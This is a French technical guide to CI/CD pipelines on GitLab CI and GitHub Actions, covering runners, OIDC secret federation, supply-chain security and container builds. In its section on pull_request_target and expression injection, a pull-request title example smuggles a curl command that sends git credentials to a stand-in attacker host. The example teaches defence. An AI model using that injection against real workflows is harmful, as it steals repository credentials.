CI/CD - GitLab CI et GitHub Actions
- 1. Principes et vocabulaire
- 2. Stratégies de déploiement
- 3. GitLab CI : pipeline complet
- 4. GitLab CI : réutilisation, environnements, review apps
- 5. Runners GitLab
- 6. GitHub Actions : workflow complet
- 7. GitHub Actions : réutilisation et environnements
- 8. Secrets et fédération OIDC
- 9. Sécurité de la chaîne d'approvisionnement
- 10. Construire des images de conteneurs
- 11. Déployer une application PHP par SSH
- 12. Déployer sur Kubernetes et avec Terraform
- 13. Tests, qualité et performance des pipelines
- 14. Dépannage
- 15. Checklist
1. Principes et vocabulaire
L'intégration continue (CI) valide chaque modification (build, tests, analyses) dès qu'elle est poussée. La livraison continue produit à chaque fusion un artefact déployable ; le déploiement continu va jusqu'à la production sans action humaine. Le but n'est pas l'automatisation en soi mais la réduction du risque par lot : des changements petits, fréquents, réversibles et traçables.
| Concept | GitLab CI | GitHub Actions |
|---|---|---|
| Fichier de définition | .gitlab-ci.yml (+ includes) | .github/workflows/*.yml (un fichier = un workflow) |
| Unité d'exécution | Job | Job (composé de steps) |
| Ordonnancement | stages + needs (DAG) | needs entre jobs |
| Conditions | rules, workflow:rules | on: (déclencheurs), if: |
| Exécuteur | Runner (shell, docker, kubernetes...) | Runner hébergé GitHub ou auto-hébergé |
| Partage de fichiers entre jobs | artifacts | actions/upload-artifact / download-artifact |
| Accélération | cache | actions/cache ou cache intégré des actions setup-* |
| Cibles de déploiement | environment (+ protégés) | environment (+ règles de protection) |
| Réutilisation | include, extends, ancres YAML, composants CI/CD | Reusable workflows, composite actions |
1.1 Principes de conception
- Build once, deploy many : le même artefact (image identifiée par son digest, archive versionnée) est promu de recette en production. On ne reconstruit jamais pour la prod.
- Configuration externe : l'artefact ne contient aucun paramètre d'environnement ; ceux-ci sont injectés au déploiement.
- Pipeline rapide : viser moins de 10 minutes jusqu'au retour des tests. Au-delà, les développeurs contournent.
- Pipeline as code revu comme du code : les fichiers de CI passent en revue (CODEOWNERS) car ils ont accès aux secrets de déploiement.
- Moindre privilège : chaque job n'a que les droits dont il a besoin ; les secrets de prod ne sont accessibles qu'aux jobs de prod sur branches protégées.
- Idempotence : relancer un job de déploiement ne doit rien casser.
2. Stratégies de déploiement
| Stratégie | Principe | Rollback | Coût / contraintes |
|---|---|---|---|
| Recreate | Arrêt de l'ancienne version, démarrage de la nouvelle | Redéploiement | Interruption de service ; acceptable pour des outils internes |
| Rolling | Remplacement progressif des instances | Rolling inverse (rollout undo) | Deux versions cohabitent : API et schéma de base compatibles obligatoires |
| Blue/Green | Deux environnements complets, bascule du routage en une fois | Instantané (re-bascule) | Double capacité ; base de données partagée = migrations compatibles |
| Canary | Petit pourcentage du trafic vers la nouvelle version, élargi selon les métriques | Remise du poids à 0 | Nécessite routage pondéré (Gateway API, maillage, LB) et métriques fiables par version |
| Feature flags | Code déployé éteint, activé par configuration | Désactivation du flag | Dette technique si les flags ne sont pas retirés |
3. GitLab CI : pipeline complet
Exemple pour une application PHP conteneurisée : contrôle qualité, tests, build d'image, scan, déploiement en recette automatique et en production manuelle sur tag.
# .gitlab-ci.yml
workflow:
rules:
# Pipelines de MR, branche par défaut et tags ; évite les pipelines en double (branche + MR)
- if: $CI_PIPELINE_SOURCE == "merge_request_event"
- if: $CI_COMMIT_BRANCH && $CI_OPEN_MERGE_REQUESTS
when: never
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
- if: $CI_COMMIT_TAG =~ /^v\d+\.\d+\.\d+$/
auto_cancel:
on_new_commit: interruptible
stages: [lint, test, build, scan, deploy]
variables:
IMAGE: $CI_REGISTRY_IMAGE/app
COMPOSER_CACHE_DIR: "$CI_PROJECT_DIR/.cache/composer"
FF_USE_FASTZIP: "true"
default:
image: php:8.3-cli
interruptible: true
retry:
max: 2
when: [runner_system_failure, stuck_or_timeout_failure]
tags: [docker]
.composer:
before_script:
- apt-get update -qq && apt-get install -y -qq git unzip >/dev/null
- curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer
- composer install --no-interaction --no-progress --prefer-dist
cache:
key:
files: [composer.lock]
paths: [vendor/, .cache/composer/]
policy: pull-push
lint:
stage: lint
extends: .composer
script:
- vendor/bin/php-cs-fixer fix --dry-run --diff
- vendor/bin/phpstan analyse --error-format=gitlab > phpstan.json || (cat phpstan.json; exit 1)
artifacts:
when: always
reports:
codequality: phpstan.json
test:
stage: test
extends: .composer
needs: [] # démarre sans attendre le stage lint (DAG)
services:
- name: mariadb:11.4
alias: db
variables:
MARIADB_DATABASE: app_test
MARIADB_ROOT_PASSWORD: test-only
DATABASE_URL: "mysql://root:test-only@db:3306/app_test"
script:
- vendor/bin/phpunit --log-junit junit.xml --coverage-cobertura coverage.xml
coverage: '/^\s*Lines:\s*\d+.\d+\%/'
artifacts:
when: always
expire_in: 7 days
reports:
junit: junit.xml
coverage_report:
coverage_format: cobertura
path: coverage.xml
build-image:
stage: build
image: docker:27
services:
- name: docker:27-dind
alias: docker
variables:
DOCKER_TLS_CERTDIR: "/certs"
needs: [lint, test]
script:
- echo "$CI_REGISTRY_PASSWORD" | docker login -u "$CI_REGISTRY_USER" --password-stdin "$CI_REGISTRY"
- docker buildx create --use
- >
docker buildx build
--cache-from type=registry,ref=$IMAGE:buildcache
--cache-to type=registry,ref=$IMAGE:buildcache,mode=max
--label org.opencontainers.image.revision=$CI_COMMIT_SHA
--tag $IMAGE:$CI_COMMIT_SHORT_SHA
--push --metadata-file build.json .
- echo "IMAGE_DIGEST=$(grep -o '"containerimage.digest":"[^"]*' build.json | cut -d'"' -f4)" >> build.env
artifacts:
reports:
dotenv: build.env # IMAGE_DIGEST devient une variable des jobs suivants
trivy:
stage: scan
image:
name: aquasec/trivy:<version-epinglee>
entrypoint: [""]
needs: [build-image]
variables:
TRIVY_USERNAME: $CI_REGISTRY_USER
TRIVY_PASSWORD: $CI_REGISTRY_PASSWORD
script:
- trivy image --exit-code 1 --severity HIGH,CRITICAL --ignore-unfixed "$IMAGE@$IMAGE_DIGEST"
deploy-staging:
stage: deploy
needs: [build-image, trivy]
image: alpine/helm:<version-epinglee>
environment:
name: staging
url: https://staging.example.com
resource_group: staging # un seul déploiement à la fois
interruptible: false
rules:
- if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
script:
- helm upgrade --install app ./chart -n app-staging
--set image.repository=$IMAGE --set image.digest=$IMAGE_DIGEST
-f chart/values-staging.yaml --wait --timeout 5m
deploy-production:
stage: deploy
needs: [build-image, trivy]
image: alpine/helm:<version-epinglee>
environment:
name: production
url: https://www.example.com
deployment_tier: production
resource_group: production
interruptible: false
rules:
- if: $CI_COMMIT_TAG
when: manual # bouton de lancement
allow_failure: false # le pipeline reste « bloqué » tant que non joué
script:
- helm upgrade --install app ./chart -n app-prod
--set image.repository=$IMAGE --set image.digest=$IMAGE_DIGEST
-f chart/values-prod.yaml --wait --timeout 10m
3.1 Points clés
- rules remplace définitivement
only/except(à ne plus utiliser). Les règles sont évaluées dans l'ordre, la première qui correspond gagne ; aucune ne correspond = job absent. - needs transforme les stages en graphe : un job démarre dès que ses dépendances sont terminées.
needs: []= démarrage immédiat.needslimite aussi les artefacts téléchargés à ceux des jobs listés. - resource_group sérialise les déploiements d'un même environnement, même entre pipelines différents.
- interruptible +
auto_cancel: un nouveau commit annule les pipelines obsolètes, mais jamais un déploiement en cours (interruptible: false). - artifacts:reports:dotenv : moyen propre de passer une valeur calculée (digest, version) aux jobs suivants.
3.2 Cache vs artifacts
| cache | artifacts | |
|---|---|---|
| But | Accélérer (dépendances téléchargées) | Transmettre un résultat entre jobs, ou le conserver |
| Garantie | Aucune : best effort, peut être absent | Garanti pour les jobs suivants du pipeline |
| Portée | Par runner (ou stockage partagé S3), par clé | Stocké sur le serveur GitLab, téléchargeable |
| Exemples | vendor/, node_modules/, .m2/ | Binaire compilé, rapports JUnit, plan Terraform, build.env |
cache:key:files) et utiliser policy: pull sur les jobs qui ne modifient pas les dépendances. Un job ne doit jamais échouer parce que le cache est absent. Pour partager le cache entre plusieurs runners, configurer un cache distribué S3 dans config.toml.
4. GitLab CI : réutilisation, environnements, review apps
4.1 include, extends et composants
include:
# Fichier d'un projet central versionné (épingler la référence !)
- project: platform/ci-templates
ref: v3.2.0
file: /templates/php.yml
# Composant du catalogue CI/CD, avec entrées typées
- component: $CI_SERVER_FQDN/platform/components/trivy@1.4.0
inputs:
stage: scan
severity: HIGH,CRITICAL
# Fichier local conditionnel
- local: .gitlab/ci/terraform.yml
rules:
- exists: [infra/**/*.tf]
php-tests:
extends: .php-base # défini dans templates/php.yml
script:
- !reference [.php-base, before_script]
- vendor/bin/phpunit
Les composants CI/CD (catalogue GitLab) apportent des entrées déclarées avec types et valeurs par défaut (spec:inputs), un versionnement sémantique et une publication centralisée : c'est la manière recommandée de partager des modèles entre projets, plutôt que des includes de fichiers non versionnés.
ref: main dans un include signifie que toute modification du projet de templates s'applique instantanément à tous les pipelines, y compris les jobs de prod. Épingler sur un tag, et protéger ce projet comme du code de production.
4.2 Variables et environnements protégés
- Variable protégée : exposée uniquement aux pipelines de branches/tags protégés. Les secrets de prod doivent l'être, sinon n'importe quel développeur pouvant pousser une branche peut les exfiltrer avec un
echo. - Variable masquée (ou « masquée et cachée ») : remplacée par
[MASKED]dans les logs. Ce n'est pas une protection : un encodage base64 ou un découpage contourne le masquage. - Portée d'environnement : une variable peut n'être visible que des jobs ciblant
production. - Environnements protégés (Premium) : seuls certains utilisateurs/groupes peuvent déployer, avec approbations obligatoires possibles.
- Type File : la variable est écrite dans un fichier temporaire et la variable contient son chemin (kubeconfig, clés).
4.3 Review apps
review:
stage: deploy
image: alpine/helm:<version-epinglee>
rules:
- if: $CI_PIPELINE_SOURCE == "merge_request_event"
environment:
name: review/$CI_COMMIT_REF_SLUG
url: https://$CI_COMMIT_REF_SLUG.review.example.com
on_stop: review-stop
auto_stop_in: 3 days
script:
- helm upgrade --install "review-$CI_COMMIT_REF_SLUG" ./chart -n review --create-namespace
--set ingressHost=$CI_COMMIT_REF_SLUG.review.example.com
--set image.repository=$IMAGE --set image.digest=$IMAGE_DIGEST
review-stop:
stage: deploy
image: alpine/helm:<version-epinglee>
rules:
- if: $CI_PIPELINE_SOURCE == "merge_request_event"
when: manual
allow_failure: true
environment:
name: review/$CI_COMMIT_REF_SLUG
action: stop
variables:
GIT_STRATEGY: none
script:
- helm uninstall "review-$CI_COMMIT_REF_SLUG" -n review
$CI_COMMIT_REF_SLUG est limité à 63 caractères, en minuscules, et compatible DNS. Prévoir un wildcard DNS *.review.example.com et un certificat wildcard (DNS-01) pour éviter une émission par review app.
4.4 Pipelines parent-enfant et multi-projets
# Monorepo : un pipeline enfant par composant modifié
trigger-api:
stage: build
trigger:
include: services/api/.gitlab-ci.yml
strategy: depend # le parent reflète l'état de l'enfant
rules:
- changes: [services/api/**/*]
# Déclencher le dépôt de déploiement (GitOps) après un build
trigger-deploy-repo:
stage: deploy
trigger:
project: platform/deploy
branch: main
variables:
UPSTREAM_IMAGE_DIGEST: $IMAGE_DIGEST
5. Runners GitLab
| Executor | Isolation | Usage | Risques |
|---|---|---|---|
| shell | Aucune : commandes exécutées par l'utilisateur gitlab-runner sur l'hôte | Déploiement vers un réseau isolé, besoins matériels spécifiques | État persistant entre jobs, tout job accède à tout ce que voit l'hôte ; à réserver à un projet de confiance |
| docker | Conteneur par job | Cas général | Mode privileged (Docker-in-Docker) = root sur l'hôte ; montage de /var/run/docker.sock = idem |
| docker-autoscaler / instance | VM éphémères (fleeting) | Charge variable, isolation forte | Coût et délai de démarrage |
| kubernetes | Pod par job | Plateforme déjà sur Kubernetes, montée en charge | Builds d'images sans privilège à concevoir ; ServiceAccount du runner à restreindre |
5.1 Enregistrement (flux actuel)
Les anciens registration tokens sont dépréciés et désactivés par défaut sur les versions récentes de GitLab. Le flux actuel : on crée le runner dans l'interface (Paramètres > CI/CD > Runners > New project runner) ou via l'API, en définissant tags, protection et description côté serveur ; GitLab fournit un runner authentication token (préfixe glrt-) à utiliser une seule fois sur la machine.
# Installation (Debian/Ubuntu) depuis le dépôt officiel GitLab Runner
curl -L "https://packages.gitlab.com/install/repositories/runner/gitlab-runner/script.deb.sh" | sudo bash
sudo apt-get install -y gitlab-runner
sudo gitlab-runner register --non-interactive \
--url "https://gitlab.example.com" \
--token "$RUNNER_AUTH_TOKEN" \
--executor docker \
--docker-image "alpine:3.20" \
--description "docker-runner-01"
sudo gitlab-runner verify
sudo gitlab-runner list
# /etc/gitlab-runner/config.toml (extrait commenté)
concurrent = 8
check_interval = 3
[[runners]]
name = "docker-runner-01"
url = "https://gitlab.example.com"
executor = "docker"
[runners.docker]
image = "alpine:3.20"
privileged = false # true seulement sur un runner dédié au build d'images
pull_policy = ["always"] # évite qu'un job réutilise une image locale piégée
allowed_images = ["registry.example.com/*", "docker.io/library/*"]
volumes = ["/cache"]
shm_size = 268435456
[runners.cache]
Type = "s3"
Shared = true
[runners.cache.s3]
ServerAddress = "s3.example.internal"
BucketName = "runner-cache"
6. GitHub Actions : workflow complet
# .github/workflows/ci.yml
name: ci
on:
pull_request:
push:
branches: [main]
tags: ["v*.*.*"]
permissions:
contents: read # défaut minimal pour TOUS les jobs
concurrency:
group: ci-${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
jobs:
test:
runs-on: ubuntu-24.04
timeout-minutes: 15
strategy:
fail-fast: false
matrix:
php: ["8.2", "8.3", "8.4"]
include:
- php: "8.3"
coverage: true
services:
db:
image: mariadb:11.4
env:
MARIADB_DATABASE: app_test
MARIADB_ROOT_PASSWORD: test-only
ports: ["3306:3306"]
options: >-
--health-cmd="healthcheck.sh --connect --innodb_initialized"
--health-interval=5s --health-retries=10
steps:
- uses: actions/checkout@v5
with:
persist-credentials: false # le GITHUB_TOKEN n'est pas laissé dans .git/config
- uses: shivammathur/setup-php@v2
with:
php-version: ${{ matrix.php }}
coverage: ${{ matrix.coverage && 'xdebug' || 'none' }}
- name: Cache Composer
uses: actions/cache@v4
with:
path: ~/.cache/composer
key: composer-${{ runner.os }}-${{ matrix.php }}-${{ hashFiles('composer.lock') }}
restore-keys: composer-${{ runner.os }}-${{ matrix.php }}-
- run: composer install --no-interaction --no-progress --prefer-dist
- run: vendor/bin/phpstan analyse --error-format=github
- run: vendor/bin/phpunit --log-junit junit.xml
env:
DATABASE_URL: mysql://root:test-only@127.0.0.1:3306/app_test
- uses: actions/upload-artifact@v4
if: always()
with:
name: junit-php${{ matrix.php }}
path: junit.xml
retention-days: 7
image:
needs: test
if: github.event_name == 'push'
runs-on: ubuntu-24.04
permissions:
contents: read
packages: write # push vers ghcr.io
id-token: write # signature cosign keyless
attestations: write
outputs:
digest: ${{ steps.build.outputs.digest }}
steps:
- uses: actions/checkout@v5
with: { persist-credentials: false }
- uses: docker/setup-buildx-action@v3
- uses: docker/login-action@v3
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- id: meta
uses: docker/metadata-action@v5
with:
images: ghcr.io/${{ github.repository }}
tags: |
type=sha
type=semver,pattern={{version}}
- id: build
uses: docker/build-push-action@v6
with:
context: .
push: true
tags: ${{ steps.meta.outputs.tags }}
labels: ${{ steps.meta.outputs.labels }}
cache-from: type=gha
cache-to: type=gha,mode=max
provenance: mode=max
sbom: true
- uses: sigstore/cosign-installer@v3
- run: cosign sign --yes "ghcr.io/${{ github.repository }}@${{ steps.build.outputs.digest }}"
deploy-staging:
needs: image
if: github.ref == 'refs/heads/main'
uses: ./.github/workflows/deploy.yml
with:
environment: staging
digest: ${{ needs.image.outputs.digest }}
secrets: inherit
deploy-production:
needs: image
if: startsWith(github.ref, 'refs/tags/v')
uses: ./.github/workflows/deploy.yml
with:
environment: production
digest: ${{ needs.image.outputs.digest }}
secrets: inherit
6.1 Points clés
- permissions au niveau du workflow réduit le
GITHUB_TOKENau strict minimum ; chaque job élargit seulement ce qu'il lui faut. Régler aussi le défaut de l'organisation sur « read ». - concurrency : annule les exécutions obsolètes d'une PR ; pour un déploiement, utiliser un groupe par environnement avec
cancel-in-progress: false. - matrix :
fail-fast: falsepour voir toutes les combinaisons en échec ;include/excludepour les cas particuliers ;max-parallelpour ménager une ressource partagée. - timeout-minutes : le défaut est de 360 minutes ; un job bloqué consomme des minutes facturées.
- Expressions :
${{ }}est évalué avant l'exécution du shell. Ne jamais insérer directement une donnée contrôlée par l'utilisateur (titre de PR, nom de branche) dans unrun:(cf. section 9).
7. GitHub Actions : réutilisation et environnements
7.1 Reusable workflow
# .github/workflows/deploy.yml
name: deploy
on:
workflow_call:
inputs:
environment: { type: string, required: true }
digest: { type: string, required: true }
permissions:
contents: read
id-token: write
jobs:
deploy:
runs-on: ubuntu-24.04
environment:
name: ${{ inputs.environment }}
url: ${{ vars.APP_URL }}
concurrency:
group: deploy-${{ inputs.environment }}
cancel-in-progress: false
steps:
- uses: actions/checkout@v5
with: { persist-credentials: false }
- uses: azure/login@v2
with:
client-id: ${{ vars.AZURE_CLIENT_ID }}
tenant-id: ${{ vars.AZURE_TENANT_ID }}
subscription-id: ${{ vars.AZURE_SUBSCRIPTION_ID }}
- uses: azure/setup-kubectl@v4
- uses: azure/setup-helm@v4
- run: az aks get-credentials -g ${{ vars.AKS_RG }} -n ${{ vars.AKS_NAME }} --overwrite-existing
- run: kubelogin convert-kubeconfig -l azurecli
- name: Helm upgrade
env:
DIGEST: ${{ inputs.digest }}
TARGET_ENV: ${{ inputs.environment }}
run: |
helm upgrade --install app ./chart -n "app-$TARGET_ENV" \
--set image.repository="ghcr.io/$GITHUB_REPOSITORY" \
--set image.digest="$DIGEST" \
-f "chart/values-$TARGET_ENV.yaml" --wait --timeout 10m
7.2 Composite action
# .github/actions/setup-app/action.yml
name: setup-app
description: Installe PHP, Composer et les dépendances avec cache
inputs:
php-version: { required: false, default: "8.3" }
runs:
using: composite
steps:
- uses: shivammathur/setup-php@v2
with: { php-version: "${{ inputs.php-version }}", tools: composer }
- uses: actions/cache@v4
with:
path: ~/.cache/composer
key: composer-${{ runner.os }}-${{ inputs.php-version }}-${{ hashFiles('composer.lock') }}
- shell: bash
run: composer install --no-interaction --no-progress --prefer-dist
# Utilisation dans un job :
# - uses: ./.github/actions/setup-app
# with: { php-version: "8.4" }
| Reusable workflow | Composite action | |
|---|---|---|
| Granularité | Un ou plusieurs jobs complets | Une suite de steps dans un job |
| Runner / environnement | Définit son propre runs-on, ses environnements, ses permissions | Hérite du job appelant |
| Secrets | Passés explicitement ou secrets: inherit | Uniquement via inputs |
| Usage type | Pipeline de déploiement standard d'une organisation | Factoriser une installation d'outils |
7.3 Environments et approbations
- Required reviewers : le job attend l'approbation d'une personne ou équipe désignée (option « prevent self-review » pour interdire à l'auteur d'approuver son propre déploiement).
- Wait timer : délai avant déploiement (fenêtre d'annulation).
- Deployment branches and tags : seuls
mainou les tagsv*peuvent ciblerproduction. Sans cette règle, une branche quelconque pourrait déclarerenvironment: productionet obtenir ses secrets. - Secrets et variables d'environnement : visibles uniquement des jobs qui ciblent cet environnement, après approbation.
- Les règles de protection d'environnement sur dépôts privés dépendent du plan GitHub : vérifier la disponibilité selon l'abonnement.
8. Secrets et fédération OIDC
Le meilleur secret de CI est celui qui n'existe pas. Avec OIDC, la plateforme CI émet pour chaque job un jeton JWT signé décrivant son contexte (dépôt, branche, environnement, workflow). Le fournisseur cloud ou Vault fait confiance à cet émetteur et échange le jeton contre des identifiants éphémères, uniquement si les revendications (claims) correspondent à une règle précise. Plus de clé d'accès longue durée à faire tourner ou à voir fuiter.
| Plateforme | Activation | Claim de restriction principal |
|---|---|---|
| GitHub Actions | permissions: id-token: write | sub = repo:org/depot:environment:production ou repo:org/depot:ref:refs/heads/main |
| GitLab CI | id_tokens: avec aud | sub = project_path:groupe/projet:ref_type:branch:ref:main ; aussi ref_protected, environment |
8.1 Azure (identité fédérée)
# Côté Azure : application (ou identité managée) + credential fédéré
az ad app create --display-name "gh-deploy-app"
az ad sp create --id <appId>
az ad app federated-credential create --id <appId> --parameters '{
"name": "github-production",
"issuer": "https://token.actions.githubusercontent.com",
"subject": "repo:exemple-org/app:environment:production",
"audiences": ["api://AzureADTokenExchange"]
}'
az role assignment create --assignee <appId> --role "Azure Kubernetes Service Cluster User Role" \
--scope /subscriptions/<sub-id>/resourceGroups/rg-app-prod
Côté workflow, l'action azure/login avec client-id, tenant-id et subscription-id (section 7.1) : aucun secret n'est stocké. Voir Azure et Entra ID.
8.2 AWS
# Politique de confiance du rôle IAM (fournisseur OIDC token.actions.githubusercontent.com déclaré)
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": { "Federated": "arn:aws:iam::<account-id>:oidc-provider/token.actions.githubusercontent.com" },
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub": "repo:exemple-org/app:environment:production"
}
}
}]
}
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::<account-id>:role/gh-deploy-prod
aws-region: eu-west-3
StringLike avec repo:exemple-org/* permet à n'importe quel dépôt de l'organisation (y compris une branche de test ou un fork interne) d'obtenir le rôle de production. Toujours restreindre au dépôt ET à l'environnement ou à la branche protégée.
8.3 HashiCorp Vault depuis GitLab
# Côté Vault
vault auth enable jwt
vault write auth/jwt/config \
oidc_discovery_url="https://gitlab.example.com" bound_issuer="https://gitlab.example.com"
vault write auth/jwt/role/app-prod - <<'EOF'
{
"role_type": "jwt",
"user_claim": "user_email",
"bound_audiences": ["https://vault.example.com"],
"bound_claims_type": "glob",
"bound_claims": {
"project_path": "groupe/app",
"ref_protected": "true",
"environment": "production"
},
"token_policies": ["app-prod-read"],
"token_ttl": "10m"
}
EOF
# Côté .gitlab-ci.yml
deploy-production:
id_tokens:
VAULT_ID_TOKEN:
aud: https://vault.example.com
secrets: # mot-clé natif (GitLab Premium)
DB_PASSWORD:
vault: app/prod/db/password@secret
file: false
script:
- ./deploy.sh
# Sans le mot-clé « secrets » : utiliser la CLI vault avec
# vault write -field=token auth/jwt/login role=app-prod jwt="$VAULT_ID_TOKEN"
8.4 Règles d'hygiène
- Ne jamais afficher un secret, même masqué ; désactiver
set -xdans les scripts qui manipulent des secrets. - Passer les secrets aux outils par variable d'environnement ou fichier, pas en argument de ligne de commande (visible dans
ps). - Révoquer immédiatement un secret affiché dans un log : les logs sont conservés et téléchargeables.
- Activer la détection de secrets à la poussée (GitHub secret scanning / push protection, GitLab secret detection, ou
gitleaksen pre-commit et en CI).
9. Sécurité de la chaîne d'approvisionnement
9.1 Épingler les actions et images par empreinte
Un tag (@v4) est un pointeur mobile : si le dépôt de l'action est compromis, le tag peut être redirigé vers du code malveillant qui s'exécute avec vos secrets. C'est exactement ce qui s'est produit en mars 2025 avec l'action populaire tj-actions/changed-files, dont les tags ont été réécrits pour exfiltrer les secrets des workflows dans les logs.
# Mauvais : tag mobile
- uses: un-editeur/une-action@v2
# Bon : SHA de commit complet (40 caractères) + commentaire de version
- uses: un-editeur/une-action@<SHA_COMPLET_40_CARACTERES> # v2.3.1
# Images de conteneurs : par digest
image: registry.example.com/outils/helm@sha256:<digest>
Dependabot et Renovate savent mettre à jour les SHA épinglés en conservant le commentaire de version. Au niveau organisation GitHub, on peut imposer une liste d'actions autorisées et l'épinglage par SHA.
9.2 Le piège pull_request_target et l'injection d'expressions
| Déclencheur | Code exécuté | Secrets / token | Risque |
|---|---|---|---|
pull_request | Celui de la PR (fusion) | Pas de secrets pour les forks, token en lecture | Faible |
pull_request_target | Celui de la branche de base | Secrets et token en écriture disponibles | Critique si le workflow fait un checkout du code de la PR puis l'exécute (build, tests, scripts npm) |
workflow_run | Branche de base | Secrets disponibles | Élevé si on télécharge et exécute/extrait les artefacts produits par la PR |
# DANGEREUX : un fork modifie package.json -> exécution de code avec les secrets
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v5
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm test
# DANGEREUX : injection de commande via le titre de la PR
- run: echo "Titre : ${{ github.event.pull_request.title }}"
# Un titre comme a"; curl -d @$HOME/.git-credentials https://attaquant.example; echo "
# devient du shell exécuté.
# CORRECT : passer la donnée par variable d'environnement
- run: echo "Titre : $PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
zizmor et actionlint analysent statiquement les workflows GitHub (injections, permissions excessives, déclencheurs dangereux, actions non épinglées). Les intégrer en CI sur le dossier .github/. OpenSSF Scorecard note la posture globale d'un dépôt.
9.3 Analyses automatisées
| Type | Cible | Outils | Quand bloquer |
|---|---|---|---|
| SAST | Code source | Semgrep, CodeQL, PHPStan/Psalm (taint), SonarQube | Nouvelles alertes de sévérité haute dans le diff |
| SCA / dépendances | Lockfiles | Trivy fs, OSV-Scanner, composer audit, npm audit, Dependabot alerts | CVE critique avec correctif disponible |
| Conteneurs | Image construite | Trivy image, Grype | HIGH/CRITICAL corrigeables (--ignore-unfixed) |
| IaC | Terraform, manifests, Dockerfile | Trivy config, Checkov, kube-linter | Erreurs de configuration critiques |
| Secrets | Historique Git | gitleaks, trufflehog, détection native | Toujours |
| DAST | Application déployée (recette) | OWASP ZAP baseline | Rapport, rarement bloquant |
# Trivy : trois usages
trivy fs --scanners vuln,secret,misconfig --exit-code 1 --severity HIGH,CRITICAL .
trivy image --exit-code 1 --ignore-unfixed --severity HIGH,CRITICAL registry.example.com/app@sha256:<digest>
trivy config --exit-code 1 ./infra
# Exceptions documentées et datées, versionnées dans le dépôt
cat .trivyignore.yaml
9.4 SBOM, provenance et signature
# SBOM au format CycloneDX ou SPDX
syft registry.example.com/app@sha256:<digest> -o cyclonedx-json > sbom.cdx.json
# Signature « keyless » (Sigstore) : identité OIDC du job CI, certificat éphémère,
# inscription dans le journal de transparence Rekor
cosign sign --yes registry.example.com/app@sha256:<digest>
cosign attest --yes --type cyclonedx --predicate sbom.cdx.json registry.example.com/app@sha256:<digest>
# Vérification (au déploiement, ou par politique d'admission Kubernetes : Kyverno, Sigstore policy-controller)
cosign verify registry.example.com/app@sha256:<digest> \
--certificate-identity-regexp '^https://github.com/exemple-org/app/.github/workflows/.+@refs/tags/v' \
--certificate-oidc-issuer https://token.actions.githubusercontent.com
image@sha256:.... Signer un tag mobile n'a pas de sens. La vérification doit contraindre l'identité exacte du signataire (workflow et référence), sinon n'importe quelle signature Sigstore valide serait acceptée.
9.5 Dependabot et Renovate
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: github-actions
directory: /
schedule: { interval: weekly }
groups:
actions: { patterns: ["*"] }
- package-ecosystem: composer
directory: /
schedule: { interval: weekly }
open-pull-requests-limit: 10
- package-ecosystem: docker
directory: /
schedule: { interval: weekly }
Renovate (auto-hébergé ou application) couvre GitLab et GitHub, gère les digests, les charts Helm, les modules Terraform, les regroupements et la fusion automatique des mises à jour mineures si les tests passent. Configurer un délai de maturité (par exemple minimumReleaseAge de quelques jours) protège contre les paquets malveillants publiés puis retirés rapidement.
10. Construire des images de conteneurs
10.1 Dockerfile multi-stage (PHP-FPM)
# syntax=docker/dockerfile:1
FROM composer:2 AS vendor
WORKDIR /app
COPY composer.json composer.lock ./
RUN --mount=type=cache,target=/tmp/cache \
composer install --no-dev --no-scripts --no-interaction --prefer-dist --optimize-autoloader
FROM node:22-alpine AS assets
WORKDIR /app
COPY package.json package-lock.json ./
RUN --mount=type=cache,target=/root/.npm npm ci
COPY assets/ assets/
RUN npm run build
FROM php:8.3-fpm-alpine AS runtime
RUN apk add --no-cache icu-libs \
&& docker-php-ext-install -j"$(nproc)" opcache pdo_mysql \
&& cp "$PHP_INI_DIR/php.ini-production" "$PHP_INI_DIR/php.ini"
WORKDIR /var/www/app
COPY --from=vendor /app/vendor ./vendor
COPY --from=assets /app/public/build ./public/build
COPY . .
USER www-data
HEALTHCHECK NONE
# (sous Kubernetes, les probes remplacent HEALTHCHECK)
- Copier les fichiers de dépendances avant le code : la couche d'installation reste en cache tant que les lockfiles ne changent pas.
.dockerignoreobligatoire :.git,.env,node_modules,tests, sauvegardes. Sinon secrets et historique finissent dans l'image.- Les montages
--mount=type=cacheet--mount=type=secret(BuildKit) évitent de laisser cache ou secret dans une couche. UnARGouENVcontenant un secret reste lisible dans l'historique de l'image. - Exécuter en utilisateur non-root ; image de base minimale (alpine, distroless, ou images durcies) et mise à jour régulière.
10.2 buildx et cache distant
# Builder multi-plateforme
docker buildx create --name ci --driver docker-container --use
docker buildx build \
--platform linux/amd64,linux/arm64 \
--cache-from type=registry,ref=registry.example.com/app:buildcache \
--cache-to type=registry,ref=registry.example.com/app:buildcache,mode=max \
--secret id=composer_auth,src=$HOME/.composer/auth.json \
--provenance=mode=max --sbom=true \
-t registry.example.com/app:1.8.2 --push .
| Méthode de build en CI | Privilèges | Remarques |
|---|---|---|
Docker-in-Docker (docker:dind) | Runner privilégié | Simple ; isoler sur des runners dédiés et éphémères |
| Socket de l'hôte monté | Root sur l'hôte | À proscrire sur un runner partagé (accès à tous les conteneurs de l'hôte) |
| BuildKit rootless / Buildah | Non privilégié (selon config) | Bon compromis sur Kubernetes |
| Kaniko | Non privilégié | Le dépôt Google d'origine a été archivé en 2025 ; des forks communautaires existent. Préférer BuildKit/Buildah pour un nouveau projet. |
| Builders managés (cloud, Docker Build Cloud) | Externe | Cache partagé, pas de privilège local |
10.3 Registre et étiquetage
- Tags immuables :
1.8.2,sha-3f2a9c1. Activer l'immuabilité des tags côté registre (Harbor, ECR, ACR, GitLab protected tags). - Déployer par digest : ce qui a été testé et scanné est exactement ce qui tourne.
